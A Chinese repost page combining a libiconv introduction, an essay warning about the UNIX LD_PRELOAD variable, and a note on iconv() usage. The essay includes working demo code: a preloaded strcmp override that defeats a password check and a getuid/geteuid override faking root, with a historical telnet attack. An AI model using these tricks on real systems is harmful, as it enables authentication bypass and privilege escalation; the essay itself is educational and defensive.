libiconv的介绍
來源:'http://dxwang.blog.51cto.com/384651/538113
?
l??????? 哈薩克語
?
PT154
l??????? 泰國語
ISO-8859-11, TIS-620, CP874, MacThai
l??????? 老撾語
MuleLao-1, CP1133
l??????? 越南語
VISCII, TCVN, CP1258
l??????? 特殊平臺
HP-ROMAN8, NEXTSTEP
l??????? Full Unicode
UTF-8?
UCS-2, UCS-2BE, UCS-2LE?
UCS-4, UCS-4BE, UCS-4LE?
UTF-16, UTF-16BE, UTF-16LE?
UTF-32, UTF-32BE, UTF-32LE?
UTF-7?
C99, JAVA
l??????? Full Unicode, 按uint16_t/uint32_t (with machine dependent endianness and alignment)
UCS-2-INTERNAL, UCS-4-INTERNAL
l??????? Locale dependent, 按char/wchar_t (with machine dependent endianness and alignment, and with OS and locale dependent semantics)
char, wchar_t
?
名稱為空的編碼方式等同于“char”:表示依賴本地的字符編碼。
?
?
如果配置了選項--enable-extra-encodings,還支持部分其它編碼方式:
l??????? 歐洲語言
CP{437,737,775,852,853,855,857,858,860,861,863,865,869,1125}
l??????? 猶太語言
CP864
l??????? 日語
EUC-JISX0213, Shift_JISX0213, ISO-2022-JP-3
l??????? 中文
BIG5-2003 (experimental)
l??????? 土庫曼語
TDS565
l??????? 特殊平臺
ATARIST, RISCOS-LATIN1
?
通過與Unicode之間的轉換,libiconv支持所有這些編碼方式的任意轉換。
?
安裝
GNU包的常規安裝:
$ ./configure --prefix=/usr/local $ make $ make install?
第一次安裝libiconv庫后,強烈建議你重新編譯和重新安裝gettext,使它能使用libiconv強大的功能。
?
在非GUN/Linux系統上,只有gettext在libiconv之前生成和安裝,采用iconv的程序才能支持國際化。也就是說,首先安裝libiconv,libiconv和gettext之間的循環依賴關系,可通過生成、安裝任一包來解決。
順序1:libiconv -
2
> gettext -> libiconv,或
?
順序2:gettext -> libiconv -> gettext(支持共享庫的系統,AIX除外)
記住,第二次生成包時,你需要運行"make distclean"來清除第一次生成時留下的痕跡。
?
這個庫的生成、安裝有兩種模式。
2?????? 庫模式(library mode)。可工作在所有系統上,使用庫文件libiconv.so和頭文件<iconv.h>(兩個文件通過“make install”安裝)
使用這種模式,只需簡單地#include <iconv.h>,然后使用函數。
自動配置包方式(autoconfiguring package)使用這種模式:
- 如果不使用automake,將m4/iconv.m4附加到你的aclocal.m4文件中;
- 如果使用automake,將m4/iconv.m4添加到你的m4 macro repository;
- 運用占位符@LIBICONV@(使用libtool創建鏈接,則為@LTLIBICONV@),將使用iconv函數的庫文件和可執行文件添加到鏈接命令行中。如果使用automake,這些占位符的右邊是*_LDADD。
注意,iconv.m4也是gettext包的一部分,安裝在/usr/local/share/aclocal/iconv.m4。
?
2?????? libc的插入/重載模式(libc plug/override mode)。僅工作在GNU/Linux、Solaris和OSF/1系統上。是一種在沒有glibc時來獲取較好的iconv支持的途徑。
這種模式安裝庫文件preloadable_libiconv.so,通過選項LD_PRELOAD,來重載所有C語言庫中的iconv*函數。
- GNU/Linux和Solaris系統:
$ export LD_PRELOAD=/usr/local/lib/preloadable_libiconv.so
- OSF/1系統:
$ export _RLD_LIST=/usr/local/lib/preloadable_libiconv.so:DEFAULT
?
程序的代碼不需要修改,甚至不需要重新編譯,僅僅設置環境變量LD_PRELOAD即可。
?
下載libiconv
libiconv在GNU鏡像站點 的子目錄/pub/gnu/libiconv/找到。
通過其他途徑獲取libiconv,請閱讀怎樣獲取GNU軟件。
最新發布版本是 http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.11.tar.gz
?
文檔
下面列出了相關在線文檔的鏈接。
iconv程序
iconv.1.html
庫函數
iconv_open.3.html?
iconv.3.html?
iconv_close.3.html?
iconvctl.3.html
警惕UNIX下的LD_PRELOAD環境變量
?
陳皓
?
前言
?
?????? 也許這個話題并不新鮮,因為LD_PRELOAD所產生的問題由來已久。不過,在這里,我還是想討論一下這個環境變量。因為這個環境變量所帶來的安全問題非常嚴重,值得所有的Unix下的程序員的注意。
?
在開始講述為什么要當心LD_PRELOAD環境變量之前,請讓我先說明一下程序的鏈接。所謂鏈接,也就是說編譯器找到程序中所引用的函數或全局變量所存在的位置。一般來說,程序的鏈接分為靜態鏈接和動態鏈接,靜態鏈接就是把所有所引用到的函數或變量全部地編譯到可執行文件中。動態鏈接則不會把函數編譯到可執行文件中,而是在程序運行時動態地載入函數庫,也就是運行鏈接。所以,對于動態鏈接來說,必然需要一個動態鏈接庫。動態鏈接庫的好處在于,一旦動態庫中的函數發生變化,對于可執行程序來說是透明的,可執行程序無需重新編譯。這對于程序的發布、維護、更新起到了積極的作用。對于靜態鏈接的程序來說,函數庫中一個小小的改動需要整個程序的重新編譯、發布,對于程序的維護產生了比較大的工作量。
?
當然,世界上沒有什么東西都是完美的,有好就有壞,有得就有失。動態鏈接所帶來的壞處和其好處一樣同樣是巨大的。因為程序在運行時動態加載函數,這也就為他人創造了可以影響你的主程序的機會。試想,一旦,你的程序動態載入的函數不是你自己寫的,而是載入了別人的有企圖的代碼,通過函數的返回值來控制你的程序的執行流程,那么,你的程序也就被人“劫持”了。
?
LD_PRELOAD簡介
?
在UNIX的動態鏈接庫的世界中,LD_PRELOAD就是這樣一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入惡意程序,從而達到那不可告人的罪惡的目的。
?
我們知道,Linux的用的都是glibc,有一個叫libc.so.6的文件,這是幾乎所有Linux下命令的動態鏈接中,其中有標準C的各種函數。對于GCC而言,默認情況下,所編譯的程序中對標準C函數的鏈接,都是通過動態鏈接方式來鏈接libc.so.6這個函數庫的。
?
OK。還是讓我用一個例子來看一下用LD_PRELOAD來hack別人的程序。
?
示例一
?
我們寫下面一段例程:
?
/* 文件名:verifypasswd.c */
/* 這是一段判斷用戶口令的程序,其中使用到了標準C函數strcmp*/
?
#include <stdio.h>
#include <string.h>
?
int main(int argc, char **argv)
{
?
char passwd[] = "password";
?
if (argc < 2) {
??????? printf("usage: %s <password>\n", argv[0]);
??????? return;
}
?
if (!strcmp(passwd, argv[1])) {
??????? printf("Correct Password!\n");
??????? return;
}
?
printf("Invalid Password!\n");
}
?
?
?
在上面這段程序中,我們使用了strcmp函數來判斷兩個字符串是否相等。下面,我們使用一個動態函數庫來重載strcmp函數:
?
/* 文件名:hack.c */
?
#include <stdio.h>
#include <string.h>
?
int strcmp(const char *s1, const char *s2)
{
??????? printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
??????? /* 永遠返回0,表示兩個字符串相等 */
??????? return 0;
}
?
?
?
?
編譯程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
?
測試一下程序:(得到正確結果)
$ ./verifypasswd asdf
Invalid Password!
?
設置LD_PRELOAD變量:(使我們重寫過的strcmp函數的hack.so成為優先載入鏈接庫)
???????? $ export LD_PRELOAD="./hack.so"
?
再次運行程序:
$ ./verifypasswd? asdf
hack function invoked. s1=<password> s2=<asdf>
Correct Password!
?
我們可以看到,1)我們的hack.so中的strcmp被調用了。2)主程序中運行結果被影響了。如果這是一個系統登錄程序,那么這也就意味著我們用任意口令都可以進入系統了。
?
示例二
?
讓我們再來一個示例(這個示例來源于我的工作)。這個軟件是一個分布式計算平臺,軟件在所有的計算機上都有以ROOT身份運行的偵聽程序(Daemon),用戶可以把的一程序從A計算機提交到B計算機上去運行。這些Daemon會把用戶在A計算機上的所有環境變量帶到B計算機上,在B計算機上的Daemon會fork出一個子進程,并且Daemon會調用seteuid、setegid來設置子程的執行宿主,并在子進程空間中設置從A計算機帶過來的環境變量,以仿真用戶的運行環境。(注意:A和B都運行在NIS/NFS方式上)
?
于是,我們可以寫下這樣的動態鏈接庫:
?
/* 文件名:preload.c */
?
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
?
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
?
?
?
?????? 在這里我們可以看到,我們重載了系統調用。于是我們可以通過設置LC_PRELOAD來迫使主程序使用我們的geteuid/getuid/getgid(它們都返回0,也就是Root權限)。這會導致,上述的那個分布式計算平臺的軟件在提交端A計算機上調用了geteuid得到當前用戶ID是0,并把這個用戶ID傳到了執行端B計算機上,于是B計算機上的Daemon就會調用seteuid(0),導致我們的程序運行在了Root權限之下。從而,用戶取得了超級用戶的權限而為所欲為。
?
?????? 上面的這個preload.c文件也就早期的為人所熟知的hack程序了。惡意用戶通過在系統中設計LC_PRELOAD環境變量來加載這個動態鏈接庫,會非常容易影響其它系統命令(如:/bin/sh, /bin/ls, /bin/rm 等),讓這些系統命令以Root權限運行。
?
讓我們看一下這個函數是怎么影響系統命令的:
??????
$ id
uid=500(hchen) gid=10(wheel) groups=10(wheel)
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
?????? $ whoami
root
$ /bin/sh
#???????? <------ 你可以看到命令行提示符會由 $ 變成 #
??????
下面是一個曾經非常著名的系統攻擊
$ telnet
telnet> env def LD_PRELOAD /home/hchen/test/preload.so
telnet> open localhost
#
?
?
?
當然,這個安全BUG早已被Fix了(雖然,通過id或是whoami或是/bin/sh讓你覺得你像是root,但其實你并沒有root的權限),當今的Unix系統中不會出現這個的問題。但這并不代表,我們自己寫的程序,或是第三方的程序能夠避免這個問題,尤其是那些以Root方式運行的第三方程序。
?
所以,在我們編程時,我們要隨時警惕著LD_PRELOAD。
?
?
如何避免
?
不可否認,LD_PRELOAD是一個很難纏的問題。目前來說,要解決這個問題,只能想方設法讓LD_PRELOAD失效。目前而言,有以下面兩種方法可以讓LD_PRELOAD失效。
?
1)通過靜態鏈接。使用gcc的-static參數可以把libc.so.6靜態鏈入執行程序中。但這也就意味著你的程序不再支持動態鏈接。
?
2)通過設置執行文件的setgid / setuid標志。在有SUID權限的執行文件,系統會忽略LD_PRELOAD環境變量。也就是說,如果你有以root方式運行的程序,最好設置上SUID權限。(如:chmod 4755 daemon)
?
在一些UNIX版本上,如果你想要使用LD_PRELOAD環境變量,你需要有root權限。但不管怎么說,這些個方法目前來看并不是一個徹底的解決方案,只是一個Workaround的方法,是一種因噎廢食的做法,為了安全,只能禁用。
本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/haoel/archive/2007/05/09/1602108.aspx
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
libiconv之iconv函數的正確使用方法libiconv是一個開源的字符編碼轉換庫,很多人使用它的轉換函數時都會遇到問題,這次我們就來講一下怎么正確使用。
iconv函數原型為:
size_t iconv (iconv_t cd, ?char* * inbuf, size_t *inbytesleft, char* * outbuf, size_t *outbytesleft);?
第一個參數是iconv的描述字,其實是指針,第二個參數表示下一次轉換位置的指針的指針,第三個參數表示最多處理inbytesleft個字節,第四個參數表示下一次轉換后輸出的指針的指針,第五個參數表示最多輸出outbutesleft個字節。
iconv函數一次轉換一個多字節字符,每次字符轉換,*inbuf增加已轉換的字節數,*inbytesleft相應地減少已轉換的字節數;對應地,*outbuf和*outbytesleft作相應的修改,同時修改cd的轉換狀態。iconv函數返回本次調用中轉換的字符數,可逆的轉換不計入。
注意iconv會改變這五個參數的值,所以我們在使用的時候一定要注意。使用的時候或者傳副本,或者先把值記錄下來,用后在恢復,個人比較傾向于第一種方法。而且由于iconv并不輸出\0,所以我們得自己加\0.
如下例子:
char* utf8_input="偉大的hongchangfirst";
char* utf8_input_tmp=utf8_input;
size_t insize=strlen(utf8_input);
const size_t outsize=1024*1024;
char* gbk_input=new char[outsize];
char8 gbk_input_tmp=gbk_input;
size_t outsize_tmp=outsize;
size_t rc=iconv(converter, &utf8_input_tmp, &insize, &gbk_input_tmp, &outsize_tmp);
*gbk_input_tmp='\0';
注意如果rc不為0,那就悲劇了,意味著我們不能夠再從轉換后的字符串t完全轉換回去而不丟失信息了。
以下是iconv函數的英文注釋:
/* Converts, using conversion descriptor ‘cd’, at most ‘*inbytesleft’ bytes
? ?starting at ‘*inbuf’, writing at most ‘*outbytesleft’ bytes starting at
? ?‘*outbuf’.
? ?Decrements ‘*inbytesleft’ and increments ‘*inbuf’ by the same amount.
? ?Decrements ‘*outbytesleft’ and increments ‘*outbuf’ by the same amount. */
原文:http://blog.csdn.net/hongchangfirst/article/details/8951391
作者:hongchangfirst
hongchangfirst的主頁:http://blog.csdn.net/hongchangfirst
總結
以上是生活随笔為你收集整理的libiconv的介绍的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据结构实验六 综合数据处理
- 下一篇: js 生成二维码